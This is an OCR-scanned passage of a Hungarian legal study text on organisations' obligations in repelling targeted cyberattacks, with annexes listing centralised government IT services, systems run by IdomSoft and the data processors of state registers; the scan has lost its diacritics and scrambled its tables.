A kozponti szolgaltatd kotelezettsége tovabba a célzott tdmadasok elharitdsaval 0sszefliggés-
ben,* hogy:

a) a megeldzés érdekében kialakitsa informatikai biztonsagi irdnyitdsi rendszerét,

b) a megeldzés érdekében azonositsa és nyilvantartsa:

ba) a szolgéltatasok végfelhasznaloit, az tizemeltetd felhasznalokat, valamint a szolgaltatas
biztositasdhoz igénybevett timogatdkat és fejlesztoket (a tovabbiakban egyiitt: felhasz-
nalok), tovabba a hozzaférési jogosultsagaikat,

bb) a szolgaltatdsokhoz kapcsolodo tavoli hozzaféréseket,

¢) a megeldzés érdekében elvégezze a szolgaltatasok kockazatértékelését és meghatirozza a
szolgaltatasok biztositdsahoz sziikséges és a kockazatokkal ardnyos védelmi intézkedéseket
és folyamatosan feliilvizsgalja azokat,

d) a korai figyelmeztetés, az észlelés és a reagalas érdekében folyamatosan ellendrizze a szol-
galtatasok biztonsagi allapotat, elvégezze az lizemi €s biztonsagi informacidk gytijtését és
elemezését, az elemzések alapjdn a megeldzés érekében biztonsagnoveld intézkedéseket
vezet be,

e) areagalas és a biztonsagi esemény kezelése érdekében intézkedik a bekovetkezett biztonsagi
események altal okozott kar csokkentésérol,

f) abiztonsagi események kezelése soran tajékoztatja az eseménykezeld kozpontokat az azono-
sitott biztonsagi eseményekrdl és fenyegetettségekrol, biztositja az azonositasahoz, elemzésé-
hez és kezeléséhez sziikséges, bizonyiték értékli informacidkat résziikre,

g) abiztonsagi események kezelése érdekében a biztonsagi eseményrol sz6l6 adatszolgaltatassal,
vizsgalat elvégzésével, az elrendelt biztonsagnoveld intézkedések végrehajtasaval kozremii-
kodik az eseménykezeld kozpontok altal végzett informatikai biztonsagi eseménykezelésben.

4 KIM rendelet 7. § (2) bekezdés.

$ Ibtv. 19. §.

4 A kozpontositott informatikai és elektronikus hirk6zlési szolgaltato informaciobiztonsaggal kapcsolatos feladatkoré-
6l sz616 186/2015. (VII. 13.) Korm. rendelet (a tovabbiakban: 186/2015. (VII. 13.) Korm. rendelet) 3. §.

4 186/2015. (VII. 13.) Korm. rendelet 2. §.
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A kozponti szolgaltatdo a Kormanyzati Adatkozpont szolgaltatasai*® korében az azt igényl6 tigyfe-
lei szdmara korai figyelmeztetd rendszerhez vald kapcsolddast biztosit az alabbi miiszaki feltételek
megteremtésével és fenntartasaval:

a) ahalozati forgalom masolatanak atadasa,

b) az internet felé mend, illetve onnan érkez6 halozati forgalom SSL/TLS csatornainak szelektiv
feloldasa az tigyfél altal meghatarozott hazirend szerint az SSL/TLS csatornak termindlasa-
val vagy SSL/TLS atjar6 megvalositasaval,

¢) akorai figyelmeztetd rendszer fenntartojaval az tigyfelek kapcsolddasanak kialakitasa, valto-
zas- és eseménykezelése terén.*’

Kiegészit6 szabaly az elektronikus informaciés rendszerek biztonsagi felligyeletét ellatd hatdsa-
gok, valamint az informéciobiztonsagi feliigyeld feladat- és hataskorérdl, tovabba a zart célu elekt-
ronikus informécids rendszerek meghatarozéasardl szolo 187/2015. (VII. 13.) Korm. rendelet sze-
rint elbirt kotelezettség, amely szerint a Nemzetbiztonsagi Szakszolgalat, mint hatésag* helyszini
ellendrzése sordn a szerzddéses jogviszony alapjan érintett kdzremiikodo koteles egylittmiikodni a
hatosaggal. ¥

4. Osszegzés

Az elektronikus informécios rendszereket naponta érik az internet irdnyabol azok a fenyegetések,
amelyek elhdritasa €s a fenntarthat6 biztonsagi kornyezet megteremtése komoly kihivast jelent min-
den szerepl0 szamara. A célzott timadasok elharitdsa soran megjelend kotelezettségek kore a koz-
remiikodd szerepldk tekintetében — mint olvashattuk — szertedgazo és sokrétli tevékenységet olel
fel, hiszen minden intézkedésiik kihat a szervezeti miikodésre. Eppen ezért ezen intézkedésekre vo-
natkozban a jogi szabalyozas megléte kiemelt jelentdségli, igy iddszerli volt egy olyan szakanyag
készitése, amely a jogértelmezést és a jogalkalmazast tAmogat6 céllal foglalja 6ssze és mutatja be
a szabalyozasi kornyezetet. Szdndékaink szerint jelen tananyag ezeknek az elvarasoknak felel meg.
A szabalyozasi kornyezet elemeit vizsgalva egyértelmiien levezethetd, hogy a jogalkotonak nem az
volt a szandéka, hogy a legaprobb részletekig szabalyozza ezt a teriiletet. Ugy gondoljuk, hogy a
meglévo és bemutatott szabalyozas megfeleld keretet biztosit a fenntarthatd biztonsag allapotanak
megteremtéséhez, azzal, hogy a tovabbi részletszabalyokat a szervezeti szabalyozas egyéb eszkdzé-
vel sziikséges biztositani.

4 A Kormanyzati Adatkézpont mitkodésérél szol6 467/2017. (XII. 28.) Korm. rendelet.

47 186/2015. (VIL 13.) Korm. rendelet 2/A. §.

4 Az elektronikus informacios rendszerek biztonsagi feliigyeletét ellatd hatdsagok, valamint az informaciobiztonsagi
feliigyel6 feladat- és hataskorérdl, tovabba a zart célu elektronikus informacios rendszerek meghatarozasarol szolo
187/2015. (VII. 13.) Korm. rendelet 2. §-a.

Az elektronikus informacids rendszerek biztonsagi feliigyeletét ellatd hatosagok, valamint az informacidbiztonsagi
feliigyel6 feladat- és hataskorérdl, tovabba a zart célu elektronikus informacios rendszerek meghatarozasarol szolo
187/2015. (VII. 13.) Korm. rendelet 5. § (6) bekezdése.
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5. Mellékletek

1. melléklet:

A 309/2011. (XII. 23.) Korm. rendelet 1. mellékletében felsorolt, kdtelezéen biztositando kozponto-
sitott informatikai és elektronikus hirkoézleési szolgaltatdasok kore

A) Végfelhasznaloi infokommunikdcios infrastruktura biztositdsa és iizemeltetése

1. Alapvetd informatikai €s elektronikus hirk6zlé eszkozokkel, kellékanyagokkal valo ellatéas
(papir kivételével), valamint lizembe helyezés

1.1.
1.2.

1.3.
1.4.
L.5.
1.6.
1.7.
1.8.
1.9.
1.10.
1.11.

1.12.

Asztali és hordozhatdo munkaallomas biztositasa

Alap irodai alkalmazasok biztositasa, ideértve a levelezés €s irodai munkahoz kapcsolo-
do6 dobozos alkalmazasokat, valamint a nyilt forraskodu szoftvereket is

Felhasznalé — munkaval kapcsolatos — anyagainak taroldsahoz kozponti tarteriilet
biztositasa

Nyomtatashoz sziikséges eszkozok biztositasa

Mobiltelefon biztositasa

Helyhez kotott telefon (berendezés) biztositasa

Helyi informatikai és elektronikus hirk6zlési halozat és ezzel kapcsolatos eszkdzok
biztositasa

Faxolashoz sziikséges eszkdzok biztositasa (multifunkcids fax késziilék vagy fax szer-
ver Utjan)

Nyomtatok, multifunkcionalis eszk6zok biztositasa

Nyomtatok és multifunkciondlis berendezések festékkazettdval valo ellatasa

Egyéb alapvetd informatikai és elektronikus hirkozl6 eszkozokkel és kellekekkel valo
ellatas, tizembe helyezés ¢€s telepités

Végtelhasznaloi eszk6zokon futd virus- és rosszindulati koéd (malware) elleni védelem
biztositasa

2. Alapvetd informatikai €s elektronikus hirk6z16 eszk6z0k munkaiddben és a kdzponti, illetve
az egyedi szolgaltatasi megallapodasban rogzitett felhasznaldi kor munkaiddn tali hasznala-
tanak tdmogatasa, iizemeltetése és karbantartasa

2.1.

2.2.
2.3.

2.4.
2.5.

2.6.

2.7.
2.8.

2.9.

2.10.

2.11.

Személyi hasznalati szamitogépek normal és kiemelt szintli helyszini informatikai
tdmogatasa (szoftver és hardver meghibasodasok kezelése)

Helyi informatikai hal6zat tizemeltetése, karbantartasa

Internet-hozzaférés mitkddtetése, a kdzponti, illetve az egyedi szolgaltatasi megallapo-
dasban rogzitett felhasznaldi kor szaméra hordozhat6 eszk6zon is (mobil-internet)
Levelezo rendszer lizemeltetése a kiegészitd biztonsagi szolgaltatasokkal

Piaci (nem kormdanyzati célu) hirkézlési szolgaltatotol igénybe vett standard mobil
radiotelefon elofizetés, valamint internet biztositasa

Piaci (nem kormanyzati céli) hirkozlési szolgaltatotdl igénybe vett standard helyhez
kotott telefon eldfizetés biztositasa

Nyomtatok, multifunkcionalis eszkdzok tizemeltetése

Elektronikus hirk6zl6 berendezések lizemeltetése (mobil és vezetékes telefonkésziilek,
fax késziilék)

Kozponti tarolohely, nyomtatasi varakozasi sorok és kozponti levelezési szolgaltatasok
lizemeltetése

Dobozos ¢és egyedi fejlesztésti alkalmazasoknak a kdzponti vagy egyedi szolgaltatasi
megallapodas szerint torténd iizemeltetése

Egyéb alapvetd informatikai és elektronikus hirk6z16 eszkoz iizemeltetése, karbantartasa
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3. Informatikai problémak tligyfélszolgalati kezelése
3.1. Végtelhasznaloi dllomanyok visszadllitdsa mentésbodl — igény szerint
3.2. Altalanos informatikai segitségnyujtas iigyfélszolgalaton keresztiil
3.3. Elfelejtett jelsz6 kezelése
3.4. Felhasznalo felvétele, torlése a tamogatott rendszerekre és alkalmazasokra
3.5. Felhasznal6 informatikai jogosultsagainak adminisztralasa a tamogatott rendszerekre ¢és
alkalmazasokra
3.6. Felhasznal6i, munkacsoport adatok archivalasa optikai lemezre igény szerint
3.7. Informatikai ligyelet — munkaiddn kiviil
3.8. Koltozések soran az informatikai eszk6zok koltoztetéshez torténo eldokészitése, illetve
koltozést kdvetd installacioja — megel6z6 egyeztetést kdvetden
3.9. Specialis problémak tovabbitasa szakértdi csoportok felé
3.10. Szolgaltatasi paraméterek méréséhez sziikséges adatok kinyerése az ligyfélszolgalati
rendszerbdl
3.11. Alap irodai alkalmazasokkal kapcsolatos hiba kezelése
3.12. Végfelhasznaloi hasznalati szamitogépekkel és periféridikkal kapcsolatos hiba kezelése
3.13. Jogosultsaggal kapcsolatos felhasznal6i incidens kezelése
3.14. Informatikai és elektronikus hirkdzlési halozati hibabejelentések kezelése
4. Uj igények 1j technologiai megoldasokkal valé kielégitése és a meglévd eszkozok techno-
logiai megujitasa sordn a végfelhasznaloi hasznalatba keriilé eszk6zokhoz kapcsolodo info-
kommunikacios szolgaltatasok ellatasa.

B) Kozponti infokommunikdcios infrastruktura biztositdsa és iizemeltetése

Cimtar lizemeltetés
Kozponti szerver infrastruktira elemek biztositasa
Igény szerint alkalmazasok karbantartasa, timogatésa és tizemeltetése
Eszkoz-nyilvantartasi szolgaltatasok jellemzden sajat tulajdont eszk6zok esetében
Informatikai raktar €s tartalék raktarkészlet biztositasa
Informatikai és elektronikus hirk6zlési beszerzésekrdl valdé gondoskodas
Az ellatashoz kapcsolodo informatikai projektek vezetése
Az ellatashoz kapcsolodo informatikai rendszerintegracio 11j eszkozok és alkalmazasok telepi-
tés¢hez
9. A standard ellatashoz kapcsolodo IT alkalmazéasok és licencek biztositasa
10. Az ellatashoz kapcsolodo IT beszerzések technikai nyilvantartasa (hardver €s szoftver nyilvantar-
tas) jellemzden sajat tulajdonu eszk6zok esetében
11. Az ellatashoz kapcsolodo IT eszkozok garancidlis és garancidn tali javitasa, javittatasa
12. IT jogosultsagok kezelése, adminisztralasa
13. Kozponti virusvédelem biztositasa
14. Rendszer monitorozasi szolgaltatasok
15. Rendszeroptimalizalas, normalizalas
16. Telefonkozpont kezelés
17. Elektronikus hirkozlési szolgaltatassal kapcsolatos szamlak feldolgozasa
18. Elektronikus hirkozlési szolgaltatassal kapcsolatos forgalmi és hivasinformaciok szolgaltatasa
19. Ttizfal biztositasa €s lizemeltetése
20. Uj igények 1j technologiai megoldasokkal valo kielégitése és a meglévé eszkozok technologiai
megujitasa soran a kdzpontositott hasznalatt eszk6zokhoz kapcsoldodo infokommunikécios szol-
galtatasok ellatasa

© NG W —
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C) Egyéb informatikai igények ellatdisa

B —

Informatikai oktatoteremben informatikai eszk6zok biztositasa

Szabvanyos IT eszkdz kolcsonzése tartalék raktari készletbol

Egyedileg igényelt perifériakkal valo ellatas (szkenner, nyomtatd) raktari készletbdl

A lakossag részére készitett kormanyzati tajékoztatd levelekkel, kiadvanyokkal, illetve kérdd-
ivekkel kapcsolatos adatfeldolgozoi és adminisztracios tevékenység, valamint a postai szolgal-
tatasokrol szo6lo 2012. évi CLIX. torvény 2. § 35. pontja szerinti postai kiildeménynek mindsii-
16 kiildemények cimzettek részére postai uton torténd soron kiviili megkiildésével kapcsolatos
feladatok ellatasa a Magyar Posta Zrt. bevonasaval.

2. melléeklet:

Az IdomSoft Informatikai Zartkoriien Miikédoé Részvénytarsasag dltal kotelezoen biztositando koz-
pontositott alkalmazas-tizemeltetési és e rendszereket érinto alkalmazasfejlesztési szolgaltatasok kore

1)

2)

3)

5)

17)

Az onkormanyzati ASP rendszer keretében miikddé gazdalkodasi szakrendszer és naploelemzd
rendszer

Kiilon jogszabalyban meghatarozott személyiadat-¢s lakcimnyilvantartashoz kapcsolodo
rendszerek (SZL, SZIG, eSZIG, LIG, cim és korzetnyilvantartas, TSZR, ESZF, Nemzeti Arc-
képtar /NAT/)

Kiilon jogszabalyban meghatarozott kozponti cimregiszter (KCR)

Kiilon jogszabalyban meghatarozott kozponti idegenrendészeti nyilvantartashoz kapcsolodo
egyes rendszerek (IDR, ISZL, IDEGEN)

A 11. §-ban foglalt kivétellel jogszabalyban meghatarozott kozati kozlekedési nyilvantar-
tashoz kapcsolodd rendszerek (JARMU, VezetSi engedély /VEN/, Szarmazasellendrzés /
SZENY/, Kézlekedési Okmanytar, PARKIG, eredetiségvizsgalat /KERT/, Utdij-dijmentes,
EUCARIS)

Kiilon jogszabalyban meghatarozott kozlekedési biztonsagi kiszolgalo rendszer (KBKR)
Kiilon jogszabalyban meghatarozott elektronikus utdij rendszer gyorsitotar (e-Utdij)

Kiilon jogszabalyban meghatarozott kotelezd gépjarmii-felelésségbiztositasi rendszer (IGFB)
Kiilon jogszabalyban meghatarozott kozuti kozlekedési elééleti pontrendszer (Pontrendszer)
Kiilon jogszabalyban meghatarozott elektronikus anyakdnyvi rendszer (EAK)

Kiilon jogszabalyban meghatarozott arcképelemzési nyilvantartas és arcképelemzo rendszer
(AAAR)

Kiilon jogszabalyban meghatarozott egyéni vallalkozé nyilvantartasi rendszer (EVNY)
Kiilon jogszabalyban meghatarozott szabalysértési nyilvantartasi rendszerhez kapcsolodo
egyes rendszerek (SZNYR, STAT-VIR)

Kiilon jogszabdlyban meghatarozott bilinligyi nyilvantartasi rendszerhez kapcsolddd egyes
rendszerek (HCR-blinligyi, ERHAB)

Kiilon jogszabalyban meghatarozott kozponti itiokmany nyilvantartasi rendszer (EPASS)
Kiilon jogszabalyban meghatarozott elektronikus tligyfél-azonositast segitd és elektronikus
iigyintézést tamogatd rendszerek (UKAPU, Osszerendelési Nyilvantartashoz kapcsolodd
rendszerek /ONY/, Az elektronikus {igyintézést igénybe vevé, kiilfoldon €16 természetes sze-
mélyek személyi nyilvantartisa /3NYT/, [dészakos Ertesitési Szolgaltatas /RER/, Részleges
Kodua Telefonos Azonositas /RKTA/, Elektronikus hatdsagi tigyintézést €s tajékoztatast segitd
internetes szolgéltatd rendszer

Elektronikus hatosagi ligyintézést és tajékoztatast segitd internetes szolgaltatd rendszer —
Webes Ugysegéd /WU/
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18)
19)
20)
21)
22)
23)
24)

25)
26)
27)
28)
29)
30)
31)
32)
33)
34)
35)
36)
37)
38)
39)

40)

41)
42)
43)
44)
45)
46)
47)
48)
49)

50)
51)
52)
53)
54)
55)

Elektronikus hatdsagi tligyintézést és tdjékoztatast segitd telefonos szolgaltatdé rendszer
(Effector)

Kiilon jogszabalyban meghatarozott Schengeni Informacios Rendszer magyar nemzeti részé-
nek kozponti informatikai elemei (SIS I NS.CP)

Kiilon jogszabalyban meghatarozott nemzeti egységes kartya-kibocsatasi keretrendszer
(NEK)

Kiilon jogszabdlyban meghatarozott a jogiligyletek biztonsagat szolgald keretrendszer lize-
meltetése (JUB)

Kiilon jogszabalyban meghatarozott jarmu figyeldztetési rendszer iizemeltetése (FigyelOzte-
tés)

Kiilon jogszabalyban meghatarozott kdzponti tanivédelmi rendszer iizemeltetése (KTR,
BASTYA)

A 13/2013. (IV. 11.) ORFK utasitas alapjan kialakitott szolgalati 16fegyverek nyilvantartasa-
nak (Fegyver)

Kiilon jogszabalyban meghatarozott Magyar igazolvany rendszer (MIG)

Kiilén jogszabalyban nevesitett Kozponti Ugyfél-regisztracios Nyilvantartas (KUNY)
Szakrendszeri Kodképzo és Kapcsolatkezeld Alkalmazasok

Altalanos Kozigazgatasi Statisztikai Adatgyijté Rendszer

Elektronikus Feliigyeleti és Ellendrzési Rendszer

A kdzponti okmény keretrendszer mellett kialakitott Integralt Naplo

Vezet6i Informacios Portal

Kozponti Jogosultsagkezeld Rendszer

Ko6zponti Okmanytar Okmanyfeldolgozé és Lekérdezé Rendszer (KOTAR)

Iratérvényességi Nyilvantartds rendszer

Kozponti Kozigazgatasi Adatszolgaltatd és Adatfogadd Rendszer (KAAR)

Ko6zponti okmanygyartas (SZIG, Utlevél, VEN, Magyar igazolvany), (MOKA)
Okmanyiigyek Intézését Segité Mobilalkalmazas rendszer (OkmanyApp)

Okmanyok Képfelvételez6 €s adatfeldolgozo rendszere (Fotoshop)

Ko6zponti Okméany megszemélyesitd Rendszer (Erkdlcsi bizonyitvany, Szarmazéasellendrzési
hatarozatok, Gépjarmii torzskonyv)

Egyéb okmanymegszemélyesitd rendszerek: Szolgalati igazolvanyok, Didkigazolvany, Vitor-
las kartya, Polgardr kartya

Integralt Portal alapu lekérdezd rendszer (IPL)

Kozponti Certifikécio és tanusitvany generalo rendszer

Ko6zponti Idépontfoglald Alkalmazas

Nemzeti Konzultaciok IT kiszolgald rendszere

Kozponti Kozigazgatasi Naplorendszer (NLR)

A Magyar Nemzeti Public Key Directory

Mobil okmanyirodai idépontfoglalas

Kormanyablakok Tudéstarat miikodteté Szerkesztdségi rendszer és Portal

Kiilon jogszabalyban meghatarozott, az Eurdpai Uni6 tagallamainak birosagai altal ma-
gyar allampolgarokkal szemben hozott itéletek nyilvantartasahoz kapcsolodd rendszerek
(HCR-tagallami)

Ko6zponti Kormanyzati Hirlevélkiildo rendszer

Jogszabalyban meghatarozott helyi kdzszolgaltatas informacios rendszer (IKIR)

Kozponti Médiatar informatikai rendszer

Biintetdeljarasi tigyviteli nyilvantartasi rendszer

Elektronikus modus operandi rendszer (kriminalisztikai nyilvantartas)

A rendvédelmi szervek feladatkorébe utalt kzhatalmi dij- és szankciojellegli bevételek keze-
1ését tamogatd pénziigyi analitikus nyilvantartas
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56)
57)
58)

59)
60)

61)
62)

63)
64)
65)
66)
67)
68)
69)
70)
71)
72)
73)
74)
75)
76)

77)
78)
79)
80)
81)
82)
83)
84)
85)
86)
87)
88)
89)

90)

91)
92)
93)
94)
95)

Eldvezetések kezelését biztosito ligyviteli nyilvantartasi rendszer

Fiiggetlen Rendészeti Panasztestiilet eljarast timogat6 rendszer

Hatarrendészeti, hatarellendrzési és idegenrendészeti eljarast tamogato iigyviteli nyilvantar-
tasi rendszer

Hatarrendészeti, igazgatasrendészeti, idegenrendészeti, kozrendvédelmi, kozlekedésrendé-
szeti egységes rendészeti statisztika

A rendvédelmi szervek feladatkorébe utalt kozigazgatési birsdg kezelését tamogato tligyviteli
nyilvantartési rendszer

Kozlekedési eljarasok kezelését tdimogatod ligyviteli nyilvantartasi rendszer

Egységes Kormanyzati Ugyiratkezelé Rendszer Erkezteté Rendszere (KER) Robotzsaru
modulja

Ko6zpontositott rendvédelmi adattari lekérdez6 rendszer

Rendvédelmi kozteriileti intézkedéstamogatd és lekérdezé mobileszkdz rendszer
Kiildemény Dokumentumtar Szolgaltatas

Mindsitett adatkezelést €s adatgylijtést tamogato iigyviteli nyilvantartasi rendszer

Objektiv Felelosség tigyviteli nyilvantartasi rendszer

Objektumokba valo beléptetést tdimogatod rendszer

Orszagos polgari 16fegyver nyilvantartasi rendszer

Pénzmosas elleni eljarasok tigyviteli nyilvantartasi rendszere

Polgari Veszélyhelyzeti Informacids Rendszer

Rendorség engedélyiigyekkel kapcsolatos rendszer

Rendvédelmi allampolgari tajékoztatod rendszer

Rendvédelmi bér- és egyéb juttatasok kifizetését timogato rendszer

Rendvédelmi célu jarmii elhaladasi adattar

Rendvédelmi, altalanos és mindsitett elektronikus ligyviteli nyilvantartasi, iratkezelési és fel-
adatkezelési rendszer

Rendvédelmi gépjarmii nyilvantartas

Rendvédelmi keresd, kutato, elemzéstamogatd rendszer

Rendvédelmi keretrendszer szolgaltatasok

Rendvédelmi kozteriileti feladatokat tdimogat6 rendszer

Rendvédelmi munkaidd nyilvantartas

Rendvédelmi rendszeradminisztracids szolgaltatasok

Rendvédelmi sajtotevékenységet tdmogato iigyviteli nyilvantartasi rendszer

Rendvédelmi Torzs tevékenységét tamogatd rendszer

Rendvédelmi vezetdk feladattdamogatd rendszere

Sportrendészeti nyilvantartas

Szabalysértési eljarasok kezelését tamogato ligyviteli nyilvantartasi rendszer

Szakért6i (daktiloszkdpiai) nyilvantartasi rendszer

A rendvédelmi szervek gazdalkodasi szakteriileteihez tartozo, igazgatassal 0sszefiiggd nyil-
vantartasok (Szerzodés-, Energetikai-, Ingatlan-, Adomany nyilvantartds, Ruhazati ellatast
tamogatd rendszer)

A beliigyminiszter irdnyitasa alatt 4llo egyes fegyveres szervek hivatasos allomanyut tagjai
teljesitményértékelésének ajanlott elemeirdl, az ajanlott elemek alkalmazasdhoz kapcsolo-
do6 eljarasi szabalyokrol, a mindsités rendjérdl €s a szervezeti teljesitményértékelésrol szolo
26/2013. (VL. 26.) BM rendelet altal eldirt teljesitményértékelést timogatd rendszer
Rendvédelmi téradat elemzd és publikalo térképészeti rendszer

Tevékenységiranyitasi, bevetési térképkezeld és segélyhivas-adatlap kezeld rendszer
Ugyeleti jelentészolgélati és vezetdi tajékoztatd kommunikacios rendszer

Rendvédelmi elektronikus ligyintézési portal és lirlapkezeld rendszer

Ideiglenes Rendszamtablak Nyilvantartdsanak rendszere
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96)

97)
98)
99)
100)

101)
102)
103)
104)
105)
106)
107)
108)

109)
110)

111)
112)

113)
114)

Az elektronikus iigyintézés részletszabalyairol szolo 451/2016. (XII. 19.) Korm. rendeletben
meghatdrozott Munkafolyamat Kezelé Rendszer (MUKER) Kormanyablakok szamara, kivé-
ve az alkalmazasfejlesztést

Elektronikus iligyintézést tdmogatd IKR rendszer, kivéve az alkalmazasfejlesztést

Allami Alkalmazas-katalogus

Allami Alkalmazas-fejlesztési Kornyezet

A Szabalyozott Tevékenységek Felligyeleti Hatosdga miikddését tamogatd ,,Fortuna” szak-
rendszer

Allashely Nyilvantart6 Rendszer (ANYR)

Nemzeti Hatarforgalom Ellendérzé és Regisztraciés Rendszer (NHERR)

Kozponti Mutatdkarton Nyilvantartds (APDIAL)

SPOC (Single Point of Contact) rendszer

Hatosagi Hazi Karantén Rendszer (HKR)

Nyilvantartasok Elektronikus Nyilvantartasa (NYENY)

eSzemélyiM mobilalkalmazas

Lakossagi ligyintézést és regisztraciot tamogatd Onkiszolgald termindl szolgéltatasok (KI-
OSZK ORFK ¢s KIOSZK Kormanyablak)

NOVA.T-ellatmany rendszer (NOVA.T-ellatmany NVSZ és NOVA.T-ellatméany TEK)
Mesterséges Intelligencia Alapu Alkalmazasok Szolgéltatasa (MIA — MlaaS) Multi Tenant
alapon

NOVA Voks dontéshoz6 rendszer

Hiteles személyazonositason alapuld videokonferencia szolgaltatas (ideértve a Videohivassal
tamogatott egészségiigyi ellatasokat)

Kozponti Dontéstamogatd Alkalmazas

SafeHIR vészhelyzeti hivasfogado rendszer

3. melléklet:

A nemzeti adatvagyon kérébe tartozo allami nyilvantartasok adatfeldolgozoi:

Az adatfeldolgozé Az adatfeldolgoz6
A nyilvantartis megnevezése Adatfeldolgozé altal végzett adat- igénybevételének
feldolgozas kore jellege

Foglalkoztatasi ¢ 5
oglalkoztatasi Cs az adatkezeld

I. Kozfoglallioz.tatam NISZ Zrt. teljes adatfeldolgozas dontésétd] fliges
Adatbazis
Az allami foglalkoztatasi szerv az adatkezeld
2. | feladatainak ellatasahoz sziiksé- NISZ Zrt. teljes adatfeldolgozas I,
L. dontésétdl fiiggd
ges adatbazis
. e Magyar Allamkincstar : , az adatkezeld
3. | Egységes szocialis nyilvantartas Kozponti szerve teljes adatfeldolgozas dontéséts] fiiggd
, A , NISZ Nemzeti Infokom-
A tdmogatasbol megvalo- o, e
suld fejlesztések kdzponti munikdcios Szolgaltat
monitoringjarol és nyilvantar- Zértkdriten Mitkodo Rész-
e a1, vénytarsasag, Uj Vilag elektronikus adat- . «
4, tasarol szo16 60/2014. (111. 6.) Nonprofit Szolgaltato feldolgozs kotelezo

Korm. rendelet szerinti nyilvan-
tartasokban kezelt adatokhoz
kot6do adatfeldolgozoi feladatok

Korlatolt Feleldsségii Tar-
sasag, Nemzetbiztonsagi
Szakszolgalat
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Az adatfeldolgozé Az adatfeldolgozo
A nyilvantartas megnevezése Adatfeldolgozd altal végzett adat- igénybevételének
feldolgozas kore jellege
5 A polgarrok' szemel.yl ’adatalrnak IdomSoft Zit. elektronikus ?datfel- Ktelezd
és lakcimének nyilvantartasa dolgozas
6. Elektron1ku§ anya’konyv1 nyil- IdomSoft Zrt. elektronikus fldatfel— Kotelezd
vantartas dolgozas
Lechner Tudaskoézpont Te-
riileti, Epitészeti és Infor-
matikai Nonprofit Korla-
7. Foldhasznalati nyilvantartés tolt liele’I ossegl Tarsfl S48, teljes adatfeldolgozas kotelezo
tovabba az ingatlaniigyi
hatdsagi hataskorében
eljaro fovarosi €s megyei
korményhivatal
foldmeérési és térinfor-
Az allamhatar adatbazisa, az matikai allamigazgatasi
allami nagyméretaranyt to- szervként eljaro Lechner
8. | pografiai térképi adatbazisok, az Tudaskozpont Teriileti, | teljes adatfeldolgozas kételezo
allami tavérzékelési adatbazisok, | Epitészeti és Informatikai
a Foldrajzinév-tar adatbazis Nonprofit Korlatolt Fele-
16sségli Tarsasag
foldméreési és térinfor-
Az alapponthal6zati pontok matikai allamigazgatasi
adatbazisa, az allami foldmérési | szervként eljaré Lechner
9. alaptérképi adatbazis, az archiv Tudaskdzpont Teriileti, | teljes adatfeldolgozas kotelezo
analog ¢s digitalis térképi adatok | Epitészeti és Informatikai
adatbazisai. Nonprofit Korlatolt Fele-
16sségli Tarsasag
foldmérési és térinfor-
matikai allamigazgatési
Ingatlan-nyilvantartas, az allami | szervként eljar6 Lechner
10. ingatlan-nyilvantartasi térképi Tudaskozpont Teriileti, | teljes adatfeldolgozas kotelezd
adatbazis Epitészeti és Informatikai
Nonprofit Korlatolt Fele-
16sségii Tarsasag
MH Geoinformaciés Szol-
galat és HM Térképészeti
11. Ir(ozep ©s €8 kl,sme?re,tarzilnyu Kozhasz?u Nonp ’roﬁt.Kft., teljes adatfeldolgozas kotelezo
allami topografiai térképek ingatlaniigyi hatosagi ha-
taskorében eljaro fovarosi
és megyei kormanyhivatal
e e . | kizarolagos allami tulajdo- . , | az adatkezel6é dontésé-
12. | Nyugdij-biztositasi nyilvantartas nti gazdalkodo szervezet teljes adatfeldolgozas 1 fiiged
o, , | kizardlagos allami tulajdo- . , | az adatkezel6é dontésé-
13. | Egészségbiztositasi nyilvantartas nt gazdalkods szervezet teljes adatfeldolgozas 61 fiiged
14, Kozponti utlokn’lany-nyllvan- IdomSoft Zzt. elektronikus fldatfel- Ktelezd
tartas dolgozas
15, Szabalysértési nyilvantartasi IdomSoft Zrt. elektronikus ?datfel— Kotelezd
rendszer dolgozas
16. | Kozati kozlekedési nyilvantartas IdomSoft Zrt. elektronikus adatfel- kotelezs
dolgozas
A Magyar igazolvany ¢és a Ma- .
17. gyar hozzatartoz6i igazolvany IdomSoft Zrt. clektronikus adatfel- kételezo

tulajdonosainak nyilvantartasa

dolgozas

22




I. A KOZREMUKODOK KOTELEZETTSEGEI A CELZOTT TAMADASOK ELHARITASABAN AZ IBTV. SZERINT

A nyilvantartas megnevezése

Adatfeldolgozd

Az adatfeldolgozé
altal végzett adat-
feldolgozas kore

Az adatfeldolgozé
igénybevételének
jellege

Kulturalis 6rokségvédelmi nyil-

elektronikus adatfel-

az adatkezel dontésé-

18, vantartas llamigazgatési szerv dolgozas tol fliggd
A Nemzeti Ado- & Vamhivatal | py pepiigvi 65 Szami- | . | az adatkezeld dontése-
19. | altal kezelt adohatdsagi és vam- . - teljes adatfeldolgozas 1 g
fon o . tastechnikai Kft. tél fiiggd
hatdséagi adatok nyilvantartasa
[,k Nemzeti Ado- & Vaml%lvatal Pillér Pénziigyi és Szami- . , | az adatkezel6 dontésé-
20. altal kezelt, a 19. pont ala nem téstechnikai K ft teljes adatfeldolgozas 151 flioed
tartozo6 adatok nyilvantartasa ’ £8
Magyar Kozlony Lap- és
21. Cégnyilvantartas Koényvkiado Korlatolt teljes adatfeldolgozas kdtelezd
Feleldsségli Tarsasag
. .. T IdomSoft Zrt., Nemze- .
2 Kozponti 1de’genrer’1deszet1 nyil- i Szakértdi és Kutatd elektronikus ?datfel- Kotelezd
vantartas . dolgozas
Kozpont
A Magyar Allamkincstar me-
z6gazdasagi és vidékfejlesztési | kizardlagos allami tulajdo- . . | az adatkezel$ dontésé-
2. tamogatasi feladataihoz kapcso- | nu gazdalkodo szervezet teljes adatfeldolgozds tol figgd
16d6 nyilvantartasi rendszerek
24, N.SIS IdomSoft Zit. clektronikus adatfel- Kotelezo
dolgozas
25. Koétvénynyilvantartas IdomSoft Zrt. elektronikus ?datfel_ kételezd
dolgozas
2. Az egyéni Valla1}<ozok nyilvan- IdomSoft Zrt. elektronikus fldatfel- Kotelezd
tartasa dolgozas
27. | Blniigyi nyilvantartasi rendszer IdomSoft Zrt. clektronikus Vadatfel- kotelez6
dolgozas
Természetes személyek kozhi-
teles orszagos adossagrendezési | Magyar Kozlony Lap- és . PET
o . s - . . elektronikus adatfel- | az adatkezel6 dontésé-
28. nyilvantartasa, az adéssagren- Koényvkiadd Korlatolt . a1 g
e o s ot T dolgozas tol fliggd
dezési eljardssal Osszefliggd Felel6sségl Tarsasag
hirdetményi rendszer
Természetes személyek addssag-
rer:dezes1 61_]21,1' dsdval oussz’efu’g- elektronikus adatfel- | az adatkezel6 dontésé-
